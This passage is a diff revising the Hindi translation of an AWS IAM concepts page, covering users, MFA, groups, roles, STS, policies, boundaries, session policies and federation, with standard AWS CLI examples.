उपयोगकर्ता बनाते हैं, तो आप इसे **अनुमतियाँ** प्रदान करते हैं, जिससे यह एक **उपयोगकर्ता समूह का सदस्य बनता है** जिसमें उपयुक्त अनुमति नीतियाँ संलग्न होती हैं (अनुशंसित), या **प्रत्यक्ष रूप से नीतियाँ** उपयोगकर्ता से संलग्न करके। -उपयोगकर्ताओं के पास कंसोल के माध्यम से लॉगिन करने के लिए **MFA सक्षम** हो सकता है। MFA सक्षम उपयोगकर्ताओं के API टोकन MFA द्वारा सुरक्षित नहीं होते हैं। यदि आप **MFA का उपयोग करके उपयोगकर्ताओं की API कुंजियों की पहुँच को प्रतिबंधित करना चाहते हैं** तो आपको नीति में यह इंगित करना होगा कि कुछ क्रियाएँ करने के लिए MFA की आवश्यकता है (उदाहरण [**यहाँ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))। +उपयोगकर्ताओं के पास कंसोल के माध्यम से लॉगिन करने के लिए **MFA सक्षम** हो सकता है। MFA सक्षम उपयोगकर्ताओं के API टोकन MFA द्वारा सुरक्षित नहीं होते हैं। यदि आप **MFA का उपयोग करके उपयोगकर्ताओं की API कुंजियों की पहुंच को प्रतिबंधित करना चाहते हैं** तो आपको नीति में यह इंगित करना होगा कि कुछ क्रियाएँ करने के लिए MFA की आवश्यकता है (उदाहरण [**यहाँ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))। #### CLI @@ -114,7 +114,7 @@ IAM को इसकी क्षमता द्वारा परिभाष ### MFA - मल्टी फैक्टर प्रमाणीकरण -यह आपके मौजूदा तरीकों, जैसे पासवर्ड, के अतिरिक्त **प्रमाणीकरण के लिए एक अतिरिक्त कारक बनाने** के लिए उपयोग किया जाता है, इस प्रकार, प्रमाणीकरण का एक मल्टी-फैक्टर स्तर बनता है।\ +यह आपके मौजूदा तरीकों के अलावा **प्रमाणीकरण के लिए एक अतिरिक्त कारक बनाने** के लिए उपयोग किया जाता है, जैसे पासवर्ड, इस प्रकार, प्रमाणीकरण का एक मल्टी-फैक्टर स्तर बनाना।\ आप एक **नि:शुल्क वर्चुअल एप्लिकेशन या एक भौतिक उपकरण** का उपयोग कर सकते हैं। आप AWS में MFA सक्रिय करने के लिए मुफ्त में गूगल प्रमाणीकरण जैसे ऐप्स का उपयोग कर सकते हैं। MFA शर्तों वाली नीतियाँ निम्नलिखित पर संलग्न की जा सकती हैं: @@ -123,39 +123,39 @@ MFA शर्तों वाली नीतियाँ निम्नलि - एक संसाधन जैसे Amazon S3 बकेट, Amazon SQS कतार, या Amazon SNS विषय - एक IAM भूमिका की ट्रस्ट नीति जिसे एक उपयोगकर्ता द्वारा ग्रहण किया जा सकता है -यदि आप **CLI के माध्यम से पहुँच** करना चाहते हैं एक संसाधन जो **MFA की जाँच करता है** तो आपको **`GetSessionToken`** कॉल करना होगा। यह आपको MFA के बारे में जानकारी के साथ एक टोकन देगा।\ -ध्यान दें कि **`AssumeRole` क्रेडेंशियल्स में यह जानकारी नहीं होती**। +यदि आप **CLI के माध्यम से** एक संसाधन तक पहुँच प्राप्त करना चाहते हैं जो **MFA की जांच करता है** तो आपको **`GetSessionToken`** कॉल करने की आवश्यकता है। यह आपको MFA के बारे में जानकारी के साथ एक टोकन देगा।\ +ध्यान दें कि **`AssumeRole` क्रेडेंशियल्स में यह जानकारी नहीं होती है**। ```bash aws sts get-session-token --serial-number --token-code ``` -As [**यहां कहा गया है**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), कई अलग-अलग मामले हैं जहां **MFA का उपयोग नहीं किया जा सकता**। +जैसा कि [**यहां बताया गया है**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), ऐसे कई अलग-अलग मामले हैं जहां **MFA का उपयोग नहीं किया जा सकता**। ### [IAM उपयोगकर्ता समूह](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) -एक IAM [उपयोगकर्ता समूह](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) एक ऐसा तरीका है जिससे **एक समय में कई उपयोगकर्ताओं के लिए नीतियों को संलग्न किया जा सकता है**, जिससे उन उपयोगकर्ताओं के लिए अनुमतियों का प्रबंधन करना आसान हो सकता है। **भूमिकाएँ और समूह समूह का हिस्सा नहीं हो सकते**। +एक IAM [उपयोगकर्ता समूह](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) एक ऐसा तरीका है जिससे **एक समय में कई उपयोगकर्ताओं** के लिए नीतियों को **जोड़ना** आसान हो जाता है, जिससे उन उपयोगकर्ताओं के लिए अनुमतियों का प्रबंधन करना आसान हो जाता है। **भूमिकाएँ और समूह समूह का हिस्सा नहीं हो सकते**। -आप एक **पहचान-आधारित नीति को एक उपयोगकर्ता समूह में संलग्न कर सकते हैं** ताकि उपयोगकर्ता समूह में सभी **उपयोगकर्ताओं को नीति की अनुमतियाँ प्राप्त हों**। आप **एक उपयोगकर्ता समूह** को **`Principal`** के रूप में **नीति** (जैसे संसाधन-आधारित नीति) में पहचान नहीं सकते क्योंकि समूह अनुमतियों से संबंधित होते हैं, प्रमाणीकरण से नहीं, और प्रिंसिपल प्रमाणीकरण किए गए IAM संस्थाएँ हैं। +आप एक **पहचान-आधारित नीति को एक उपयोगकर्ता समूह** से जोड़ सकते हैं ताकि उपयोगकर्ता समूह में सभी **उपयोगकर्ताओं को नीति की अनुमतियाँ प्राप्त हों**। आप **एक उपयोगकर्ता समूह** को **`Principal`** के रूप में **नीति** (जैसे संसाधन-आधारित नीति) में पहचान नहीं सकते क्योंकि समूह अनुमतियों से संबंधित होते हैं, प्रमाणीकरण से नहीं, और प्रिंसिपल प्रमाणीकरण किए गए IAM संस्थाएँ होती हैं। -यहां उपयोगकर्ता समूहों की कुछ महत्वपूर्ण विशेषताएँ हैं: +उपयोगकर्ता समूहों की कुछ महत्वपूर्ण विशेषताएँ हैं: -- एक उपयोगकर्ता **समूह** में **कई उपयोगकर्ता हो सकते हैं**, और एक **उपयोगकर्ता** **कई समूहों का सदस्य हो सकता है**। +- एक उपयोगकर्ता **समूह** में **कई उपयोगकर्ता** हो सकते हैं, और एक **उपयोगकर्ता** **कई समूहों** का **भाग हो सकता है**। - **उपयोगकर्ता समूहों को नेस्ट नहीं किया जा सकता**; वे केवल उपयोगकर्ताओं को शामिल कर सकते हैं, अन्य उपयोगकर्ता समूहों को नहीं। -- **AWS खाते में सभी उपयोगकर्ताओं को स्वचालित रूप से शामिल करने वाला कोई डिफ़ॉल्ट उपयोगकर्ता समूह नहीं है**। यदि आप ऐसा उपयोगकर्ता समूह रखना चाहते हैं, तो आपको इसे बनाना होगा और प्रत्येक नए उपयोगकर्ता को इसमें असाइन करना होगा। +- AWS खाते में सभी उपयोगकर्ताओं को स्वचालित रूप से शामिल करने वाला **कोई डिफ़ॉल्ट उपयोगकर्ता समूह नहीं है**। यदि आप ऐसा उपयोगकर्ता समूह रखना चाहते हैं, तो आपको इसे बनाना होगा और प्रत्येक नए उपयोगकर्ता को इसमें असाइन करना होगा। - AWS खाते में IAM संसाधनों की संख्या और आकार, जैसे समूहों की संख्या, और एक उपयोगकर्ता जिस समूह का सदस्य हो सकता है, सीमित हैं। अधिक जानकारी के लिए, [IAM और AWS STS कोटा](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html) देखें। ### [IAM भूमिकाएँ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -एक IAM **भूमिका** एक **उपयोगकर्ता** के समान है, क्योंकि यह एक **पहचान है जिसमें अनुमति नीतियाँ होती हैं जो यह निर्धारित करती हैं कि** यह AWS में क्या कर सकता है और क्या नहीं। हालाँकि, एक भूमिका के साथ कोई **क्रेडेंशियल्स** (पासवर्ड या एक्सेस कुंजी) नहीं होते। एक व्यक्ति के साथ विशेष रूप से जुड़े होने के बजाय, एक भूमिका को **किसी भी व्यक्ति द्वारा अपनाने के लिए डिज़ाइन किया गया है जिसे इसकी आवश्यकता है (और जिसके पास पर्याप्त अनुमतियाँ हैं)**। एक **IAM उपयोगकर्ता एक भूमिका को अस्थायी रूप से** एक विशिष्ट कार्य के लिए विभिन्न अनुमतियाँ लेने के लिए अपना सकता है। एक भूमिका को एक [**संघीय उपयोगकर्ता**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) को असाइन किया जा सकता है जो IAM के बजाय एक बाहरी पहचान प्रदाता का उपयोग करके साइन इन करता है। +एक IAM **भूमिका** एक **उपयोगकर्ता** के समान है, क्योंकि यह एक **पहचान है जिसमें अनुमति नीतियाँ होती हैं जो यह निर्धारित करती हैं कि** यह AWS में क्या कर सकता है और क्या नहीं। हालाँकि, एक भूमिका के साथ **कोई प्रमाण-पत्र** (पासवर्ड या एक्सेस कुंजी) नहीं होता है। एक व्यक्ति के साथ विशेष रूप से जुड़ने के बजाय, एक भूमिका को **किसी भी व्यक्ति द्वारा अपनाने के लिए डिज़ाइन किया गया है जिसे इसकी आवश्यकता है (और जिसके पास पर्याप्त अनुमतियाँ हैं)**। एक **IAM उपयोगकर्ता एक भूमिका को अस्थायी रूप से** एक विशिष्ट कार्य के लिए विभिन्न अनुमतियाँ लेने के लिए अपना सकता है। एक भूमिका को एक [**संघीय उपयोगकर्ता**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) को असाइन किया जा सकता है जो IAM के बजाय एक बाहरी पहचान प्रदाता का उपयोग करके साइन इन करता है। एक IAM भूमिका में **दो प्रकार की नीतियाँ** होती हैं: एक **विश्वास नीति**, जो खाली नहीं हो सकती, यह परिभाषित करती है कि **कौन भूमिका को अपना सकता है**, और एक **अनुमति नीति**, जो खाली नहीं हो सकती, यह परिभाषित करती है कि **यह क्या एक्सेस कर सकता है**। #### AWS सुरक्षा टोकन सेवा (STS) -AWS सुरक्षा टोकन सेवा (STS) एक वेब सेवा है जो **अस्थायी, सीमित-विशेषाधिकार क्रेडेंशियल्स** के **जारी करने** की सुविधा प्रदान करती है। यह विशेष रूप से निम्नलिखित के लिए तैयार की गई है: +AWS सुरक्षा टोकन सेवा (STS) एक वेब सेवा है जो **अस्थायी, सीमित-विशेषाधिकार प्रमाण-पत्रों** के **जारी करने** की सुविधा प्रदान करती है। यह विशेष रूप से निम्नलिखित के लिए तैयार की गई है: -### [IAM में अस्थायी क्रेडेंशियल्स](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) +### [IAM में अस्थायी प्रमाण-पत्र](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) -**अस्थायी क्रेडेंशियल्स मुख्य रूप से IAM भूमिकाओं के साथ उपयोग की जाती हैं**, लेकिन इसके अन्य उपयोग भी हैं। आप अस्थायी क्रेडेंशियल्स का अनुरोध कर सकते हैं जिनमें आपके मानक IAM उपयोगकर्ता की तुलना में अधिक सीमित अनुमतियों का सेट होता है। यह **आपको** **अनुमत नहीं किए गए कार्यों को गलती से करने से रोकता है**। अस्थायी क्रेडेंशियल्स का एक लाभ यह है कि वे एक निर्धारित समय के बाद स्वचालित रूप से समाप्त हो जाते हैं। आपके पास यह नियंत्रित करने की क्षमता है कि क्रेडेंशियल्स कितने समय तक मान्य हैं। +**अस्थायी प्रमाण-पत्र मुख्य रूप से IAM भूमिकाओं के साथ उपयोग किए जाते हैं**, लेकिन इसके अन्य उपयोग भी हैं। आप अस्थायी प्रमाण-पत्रों के लिए अनुरोध कर सकते हैं जिनमें आपके मानक IAM उपयोगकर्ता की तुलना में अधिक सीमित अनुमतियों का सेट होता है। यह **आपको** **अनजाने में उन कार्यों को करने से रोकता है जो अधिक सीमित प्रमाण-पत्रों द्वारा अनुमति नहीं दी गई हैं**। अस्थायी प्रमाण-पत्रों का एक लाभ यह है कि वे एक निर्धारित समय के बाद स्वचालित रूप से समाप्त हो जाते हैं। आपके पास यह नियंत्रित करने की क्षमता है कि प्रमाण-पत्र कितने समय तक मान्य हैं। ### नीतियाँ @@ -167,7 +167,7 @@ AWS सुरक्षा टोकन सेवा (STS) एक वेब स - ग्राहक प्रबंधित नीतियाँ: आपके द्वारा कॉन्फ़िगर की गई। आप AWS प्रबंधित नीतियों के आधार पर नीतियाँ बना सकते हैं (उनमें से एक को संशोधित करके और अपनी खुद की बनाकर), नीति जनरेटर का उपयोग करके (एक GUI दृश्य जो आपको अनुमतियाँ देने और अस्वीकार करने में मदद करता है) या अपनी खुद की लिखकर। **डिफ़ॉल्ट रूप से पहुँच** **अस्वीकृत** है, यदि एक स्पष्ट भूमिका निर्दिष्ट की गई है तो पहुँच दी जाएगी।\ -यदि **एकल "Deny" मौजूद है, तो यह "Allow" को ओवरराइड करेगा**, AWS खाते की रूट सुरक्षा क्रेडेंशियल्स का उपयोग करने वाले अनुरोधों को छोड़कर (जो डिफ़ॉल्ट रूप से अनुमति दी जाती हैं)। +यदि **एकल "Deny" मौजूद है, तो यह "Allow" को ओवरराइड करेगा**, AWS खाते की रूट सुरक्षा प्रमाण-पत्रों का उपयोग करने वाले अनुरोधों को छोड़कर (जो डिफ़ॉल्ट रूप से अनुमति दी जाती हैं)। ```javascript { "Version": "2012-10-17", //Version of the policy @@ -190,33 +190,33 @@ AWS सुरक्षा टोकन सेवा (STS) एक वेब स ] } ``` -The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ -The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). +[वैश्विक फ़ील्ड जो किसी भी सेवा में शर्तों के लिए उपयोग की जा सकती हैं, यहाँ दस्तावेज़ित हैं](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ +[विशिष्ट फ़ील्ड जो सेवा के अनुसार शर्तों के लिए उपयोग की जा सकती हैं, यहाँ दस्तावेज़ित हैं](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). -#### Inline Policies +#### इनलाइन नीतियाँ इस प्रकार की नीतियाँ **प्रत्यक्ष रूप से** एक उपयोगकर्ता, समूह या भूमिका को असाइन की जाती हैं। फिर, वे नीतियों की सूची में नहीं दिखाई देती हैं क्योंकि कोई अन्य उनका उपयोग कर सकता है।\ -Inline policies उपयोगी होती हैं यदि आप **एक नीति और उस पहचान के बीच एक सख्त एक-से-एक संबंध बनाए रखना चाहते हैं** जिस पर इसे लागू किया गया है। उदाहरण के लिए, आप यह सुनिश्चित करना चाहते हैं कि किसी नीति में अनुमतियाँ अनजाने में किसी अन्य पहचान को असाइन नहीं की गई हैं। जब आप एक inline policy का उपयोग करते हैं, तो नीति में अनुमतियाँ अनजाने में गलत पहचान से नहीं जुड़ सकतीं। इसके अलावा, जब आप AWS प्रबंधन कंसोल का उपयोग करके उस पहचान को हटाते हैं, तो पहचान में निहित नीतियाँ भी हटा दी जाती हैं। इसका कारण यह है कि वे प्रमुख इकाई का हिस्सा हैं। +इनलाइन नीतियाँ उपयोगी होती हैं यदि आप **नीति और पहचान के बीच एक सख्त एक-से-एक संबंध बनाए रखना चाहते हैं**। उदाहरण के लिए, आप यह सुनिश्चित करना चाहते हैं कि नीति में अनुमतियाँ अनजाने में किसी अन्य पहचान को असाइन नहीं की गई हैं। जब आप एक इनलाइन नीति का उपयोग करते हैं, तो नीति में अनुमतियाँ अनजाने में गलत पहचान से नहीं जुड़ सकती हैं। इसके अलावा, जब आप AWS प्रबंधन कंसोल का उपयोग करके उस पहचान को हटाते हैं, तो पहचान में निहित नीतियाँ भी हटा दी जाती हैं। इसका कारण यह है कि वे प्रमुख इकाई का हिस्सा हैं। -#### Resource Bucket Policies +#### संसाधन बाल्टी नीतियाँ -ये **नीतियाँ** हैं जिन्हें **संसाधनों** में परिभाषित किया जा सकता है। **AWS के सभी संसाधन उनका समर्थन नहीं करते**। +ये **नीतियाँ** हैं जो **संसाधनों** में परिभाषित की जा सकती हैं। **AWS के सभी संसाधन उनका समर्थन नहीं करते**। यदि किसी प्रमुख के पास उन पर स्पष्ट अस्वीकृति नहीं है, और एक संसाधन नीति उन्हें पहुँच प्रदान करती है, तो उन्हें अनुमति दी जाती है। -### IAM Boundaries +### IAM सीमाएँ -IAM सीमाएँ **एक उपयोगकर्ता या भूमिका को पहुँच की अनुमतियों को सीमित करने के लिए** उपयोग की जा सकती हैं। इस तरह, भले ही उपयोगकर्ता को **एक अलग नीति** द्वारा अनुमतियों का एक अलग सेट दिया गया हो, यदि वह उनका उपयोग करने की कोशिश करता है तो संचालन **विफल** हो जाएगा। +IAM सीमाएँ **एक उपयोगकर्ता या भूमिका को पहुँच की अनुमतियों को सीमित करने के लिए** उपयोग की जा सकती हैं। इस तरह, भले ही उपयोगकर्ता को **विभिन्न नीति** द्वारा अनुमतियों का एक अलग सेट दिया गया हो, यदि वह उनका उपयोग करने की कोशिश करता है तो संचालन **विफल** हो जाएगा। -एक सीमा बस एक नीति है जो एक उपयोगकर्ता से जुड़ी होती है जो **यह संकेत करती है कि उपयोगकर्ता या भूमिका के पास अधिकतम अनुमतियों का स्तर क्या हो सकता है**। इसलिए, **भले ही उपयोगकर्ता के पास व्यवस्थापक पहुँच हो**, यदि सीमा यह संकेत करती है कि वह केवल S· बकेट पढ़ सकता है, तो यही अधिकतम है जो वह कर सकता है। +एक सीमा बस एक नीति है जो एक उपयोगकर्ता से जुड़ी होती है जो **उपयोगकर्ता या भूमिका के पास अधिकतम अनुमतियों के स्तर को इंगित करती है**। तो, **भले ही उपयोगकर्ता के पास व्यवस्थापक पहुँच हो**, यदि सीमा इंगित करती है कि वह केवल S· बाल्टियों को पढ़ सकता है, तो यही अधिकतम है जो वह कर सकता है। **यह**, **SCPs** और **कम से कम विशेषाधिकार** सिद्धांत का पालन करना उन तरीकों में से हैं जिनसे यह नियंत्रित किया जा सकता है कि उपयोगकर्ताओं के पास उनकी आवश्यकताओं से अधिक अनुमतियाँ नहीं हैं। -### Session Policies +### सत्र नीतियाँ -एक सत्र नीति एक **नीति है जो तब सेट की जाती है जब किसी भूमिका को किसी तरह से ग्रहण किया जाता है**। यह उस सत्र के लिए एक **IAM सीमा** की तरह होगी: इसका मतलब है कि सत्र नीति अनुमतियाँ नहीं देती है बल्कि **उन्हें नीति में निर्दिष्ट अनुमतियों तक सीमित करती है** (अधिकतम अनुमतियाँ वे होती हैं जो भूमिका के पास होती हैं)। +एक सत्र नीति एक **नीति है जो तब सेट की जाती है जब किसी भूमिका को अपनाया जाता है**। यह उस सत्र के लिए एक **IAM सीमा** की तरह होगी: इसका मतलब है कि सत्र नीति अनुमतियाँ नहीं देती है बल्कि **उन्हें नीति में निर्दिष्ट अनुमतियों तक सीमित करती है** (अधिकतम अनुमतियाँ वे होती हैं जो भूमिका के पास होती हैं)। -यह **सुरक्षा उपायों** के लिए उपयोगी है: जब एक व्यवस्थापक एक बहुत विशेषाधिकार प्राप्त भूमिका ग्रहण करने जा रहा है, तो वह सत्र नीति में निर्दिष्ट अनुमतियों तक ही अनुमति को सीमित कर सकता है यदि सत्र से समझौता किया जाता है। +यह **सुरक्षा उपायों** के लिए उपयोगी है: जब एक व्यवस्थापक एक बहुत विशेषाधिकार प्राप्त भूमिका को अपनाने जा रहा है, तो वह सत्र नीति में निर्दिष्ट अनुमतियों तक ही अनुमति को सीमित कर सकता है यदि सत्र से समझौता किया जाता है। ```bash aws sts assume-role \ --role-arn \ @@ -224,18 +224,18 @@ aws sts assume-role \ [--policy-arns ] [--policy ] ``` -Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). +नोट करें कि डिफ़ॉल्ट रूप से **AWS सत्रों में सत्र नीतियाँ जोड़ सकता है** जो तीसरे कारणों के कारण उत्पन्न होने वाले हैं। उदाहरण के लिए, [अप्रमाणित कॉग्निटो अनुमोदित भूमिकाओं](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) में डिफ़ॉल्ट रूप से (सुधारित प्रमाणीकरण का उपयोग करते हुए), AWS **सत्र नीति के साथ सत्र क्रेडेंशियल्स** उत्पन्न करेगा जो उस सत्र को पहुँचने वाली सेवाओं को सीमित करता है [**निम्नलिखित सूची**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)। -इसलिए, यदि किसी बिंदु पर आप त्रुटि का सामना करते हैं "... क्योंकि कोई सत्र नीति अनुमति नहीं देती है ...", और भूमिका को कार्रवाई करने की अनुमति है, तो इसका कारण है कि **एक सत्र नीति इसे रोक रही है**। +इसलिए, यदि किसी बिंदु पर आप त्रुटि का सामना करते हैं "... क्योंकि कोई सत्र नीति अनुमति नहीं देती है ...", और भूमिका को क्रिया करने की अनुमति है, तो इसका मतलब है कि **एक सत्र नीति इसे रोक रही है**। ### पहचान संघ -पहचान संघ **AWS के लिए बाहरी पहचान प्रदाताओं से उपयोगकर्ताओं को सुरक्षित रूप से AWS संसाधनों तक पहुँचने की अनुमति देता है** बिना किसी मान्य IAM उपयोगकर्ता खाते से AWS उपयोगकर्ता क्रेडेंशियल प्रदान किए।\ -एक पहचान प्रदाता का उदाहरण आपका अपना कॉर्पोरेट **Microsoft Active Directory** (द्वारा **SAML**) या **OpenID** सेवाएँ (जैसे **Google**) हो सकता है। संघीय पहुँच फिर उपयोगकर्ताओं को AWS तक पहुँचने की अनुमति देगी। +पहचान संघ **AWS के लिए बाहरी पहचान प्रदाताओं से उपयोगकर्ताओं को सुरक्षित रूप से AWS संसाधनों तक पहुँचने की अनुमति देता है** बिना AWS उपयोगकर्ता क्रेडेंशियल्स को एक मान्य IAM उपयोगकर्ता खाते से प्रदान किए।\ +एक पहचान प्रदाता का उदाहरण आपके अपने कॉर्पोरेट **Microsoft Active Directory** (द्वारा **SAML**) या **OpenID** सेवाएँ (जैसे **Google**) हो सकता है। संघीय पहुँच फिर उपयोगकर्ताओं को AWS तक पहुँचने की अनुमति देगी। -इस विश्वास को कॉन्फ़िगर करने के लिए, एक **IAM पहचान प्रदाता उत्पन्न किया जाता है (SAML या OAuth)** जो **अन्य प्लेटफ़ॉर्म** पर **विश्वास करेगा**। फिर, कम से कम एक **IAM भूमिका (विश्वास करने वाली) पहचान प्रदाता को सौंपा जाता है**। यदि विश्वसनीय प्लेटफ़ॉर्म से एक उपयोगकर्ता AWS तक पहुँचता है, तो वह उल्लेखित भूमिका के रूप में पहुँच रहा होगा। +इस विश्वास को कॉन्फ़िगर करने के लिए, एक **IAM पहचान प्रदाता उत्पन्न किया जाता है (SAML या OAuth)** जो **अन्य प्लेटफ़ॉर्म** पर **विश्वास करेगा**। फिर, कम से कम एक **IAM भूमिका (विश्वास करने वाली) पहचान प्रदाता को सौंपा जाता है**। यदि विश्वसनीय प्लेटफ़ॉर्म से कोई उपयोगकर्ता AWS तक पहुँचता है, तो वह उल्लेखित भूमिका के रूप में पहुँच रहा होगा। -हालांकि, आप आमतौर पर **उपयोगकर्ता के समूह के आधार पर एक अलग भूमिका देना चाहेंगे** तीसरे पक्ष के प्लेटफ़ॉर्म में। फिर, कई **IAM भूमिकाएँ तीसरे पक्ष के पहचान प्रदाता पर विश्वास कर सकती हैं** और तीसरा पक्ष का प्लेटफ़ॉर्म उपयोगकर्ताओं को एक भूमिका या दूसरी भूमिका ग्रहण करने की अनुमति देगा। +हालांकि, आप आमतौर पर **उपयोगकर्ता के समूह के आधार पर एक अलग भूमिका देना चाहेंगे** तीसरे पक्ष के प्लेटफ़ॉर्म में। फिर, कई **IAM भूमिकाएँ तीसरे पक्ष के पहचान प्रदाता पर विश्वास कर सकती हैं** और तीसरा पक्ष का प्लेटफ़ॉर्म उपयोगकर्ताओं को एक भूमिका या दूसरी भूमिका को मानने की अनुमति देगा।
@@ -259,14 +259,14 @@ AWS IAM पहचान केंद्र (AWS सिंगल साइन-ऑ #### AwsSSOInlinePolicy -यह संभव है कि **IAM पहचान केंद्र के माध्यम से बनाई गई भूमिकाओं को इनलाइन नीतियों के माध्यम से अनुमतियाँ दी जाएं**। उन खातों में बनाई गई भूमिकाएँ जिन्हें **AWS पहचान केंद्र में इनलाइन नीतियाँ दी गई हैं** इनलाइन नीति में **`AwsSSOInlinePolicy`** के रूप में ये अनुमतियाँ होंगी। +यह संभव है कि **IAM पहचान केंद्र के माध्यम से बनाई गई भूमिकाओं को इनलाइन नीतियों के माध्यम से अनुमतियाँ दी जाएं**। उन खातों में बनाई गई भूमिकाएँ जिन्हें **AWS पहचान केंद्र में इनलाइन नीतियाँ दी गई हैं** इन अनुमतियों को **`AwsSSOInlinePolicy`** नामक एक इनलाइन नीति में रखेंगे। -इसलिए, भले ही आप **`AwsSSOInlinePolicy`** नामक इनलाइन नीति के साथ 2 भूमिकाएँ देखें, यह **यह नहीं दर्शाता कि इसकी समान अनुमतियाँ हैं**। +इसलिए, भले ही आप **`AwsSSOInlinePolicy`** नामक एक इनलाइन नीति के साथ 2 भूमिकाएँ देखें, यह **मतलब नहीं है कि इसकी समान अनुमतियाँ हैं**। ### क्रॉस खाता विश्वास और भूमिकाएँ -**एक उपयोगकर्ता** (विश्वास करने वाला) कुछ नीतियों के साथ एक क्रॉस खाता भूमिका बना सकता है और फिर, **दूसरे उपयोगकर्ता** (विश्वासित) को **अपने खाते तक पहुँचने की अनुमति दे सकता है** लेकिन केवल **नई भूमिका नीतियों में निर्दिष्ट पहुँच के साथ**। इसे बनाने के लिए, बस एक नई भूमिका बनाएँ और क्रॉस खाता भूमिका का चयन करें। क्रॉस-खाता पहुँच के लिए भूमिकाएँ दो विकल्प प्रदान करती हैं। उन AWS खातों के बीच पहुँच प्रदान करना जो आपके पास हैं, और एक खाते के बीच पहुँच प्रदान करना जो आपके पास है और एक तीसरे पक्ष के AWS खाते के बीच।\ -यह अनुशंसा की जाती है कि **विश्वासित उपयोगकर्ता को निर्दिष्ट करें और कुछ सामान्य चीज़ न डालें** क्योंकि यदि नहीं, तो अन्य प्रमाणित उपयोगकर्ता जैसे संघीय उपयोगकर्ता भी इस विश्वास का दुरुपयोग कर सकेंगे। +**एक उपयोगकर्ता** (विश्वास करने वाला) कुछ नीतियों के साथ एक क्रॉस खाता भूमिका बना सकता है और फिर, **दूसरे उपयोगकर्ता** (विश्वासित) को **अपने खाते तक पहुँचने की अनुमति दे सकता है** लेकिन केवल **नई भूमिका नीतियों में निर्दिष्ट पहुँच के साथ**। इसे बनाने के लिए, बस एक नई भूमिका बनाएँ और क्रॉस खाता भूमिका का चयन करें। क्रॉस-खाता पहुँच के लिए भूमिकाएँ दो विकल्प प्रदान करती हैं। उन AWS खातों के बीच पहुँच प्रदान करना जो आपके हैं, और एक खाते के बीच पहुँच प्रदान करना जो आपके हैं और एक तीसरे पक्ष के AWS खाते के बीच।\ +यह अनुशंसा की जाती है कि **विश्वासित उपयोगकर्ता को निर्दिष्ट करें और कुछ सामान्य चीज़ें न डालें** क्योंकि यदि नहीं, तो अन्य प्रमाणित उपयोगकर्ता जैसे संघीय उपयोगकर्ता भी इस विश्वास का दुरुपयोग कर सकेंगे। ### AWS सरल AD @@ -286,14 +286,14 @@ AWS IAM पहचान केंद्र (AWS सिंगल साइन-ऑ ### अन्य IAM विकल्प -- आप **पासवर्ड नीति सेटिंग** विकल्प जैसे न्यूनतम लंबाई और पासवर्ड आवश्यकताओं को सेट कर सकते हैं। +- आप **पासवर्ड नीति सेटिंग** विकल्प जैसे न्यूनतम लंबाई और पासवर्ड आवश्यकताओं को **सेट कर सकते हैं**। - आप **"क्रेडेंशियल रिपोर्ट" डाउनलोड कर सकते हैं** जिसमें वर्तमान क्रेडेंशियल्स के बारे में जानकारी होती है (जैसे उपयोगकर्ता निर्माण समय, क्या पासवर्ड सक्षम है...)। आप एक क्रेडेंशियल रिपोर्ट हर **चार घंटे** में एक बार उत्पन्न कर सकते हैं। AWS पहचान और पहुँच प्रबंधन (IAM) **AWS के सभी क्षेत्रों में बारीक पहुँच नियंत्रण** प्रदान करता है। IAM के साथ, आप निर्दिष्ट कर सकते हैं **कौन कौन सी सेवाओं और संसाधनों तक पहुँच सकता है**, और किन शर्तों के तहत। IAM नीतियों के साथ, आप अपनी कार्यबल और प्रणालियों के लिए अनुमतियों का प्रबंधन करते हैं ताकि **कम से कम विशेषाधिकार अनुमतियाँ सुनिश्चित की जा सकें**। ### IAM ID उपसर्ग -[**इस पृष्ठ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) पर आप कुंजियों के **IAM ID उपसर्ग** उनकी प्रकृति के अनुसार पा सकते हैं: +[**इस पृष्ठ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) पर आप कुंजियों के उपसर्गों को उनकी प्रकृति के आधार पर पा सकते हैं: | ABIA | [AWS STS सेवा धारक टोकन](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | @@ -326,9 +326,9 @@ AWS पहचान और पहुँच प्रबंधन (IAM) **AWS क ### CLI प्रमाणीकरण -एक नियमित उपयोगकर्ता को CLI के माध्यम से AWS में प्रमाणीकरण करने के लिए **स्थानीय क्रेडेंशियल्स** होना आवश्यक है। डिफ़ॉल्ट रूप से, आप उन्हें **हाथ से** `~/.aws/credentials` में 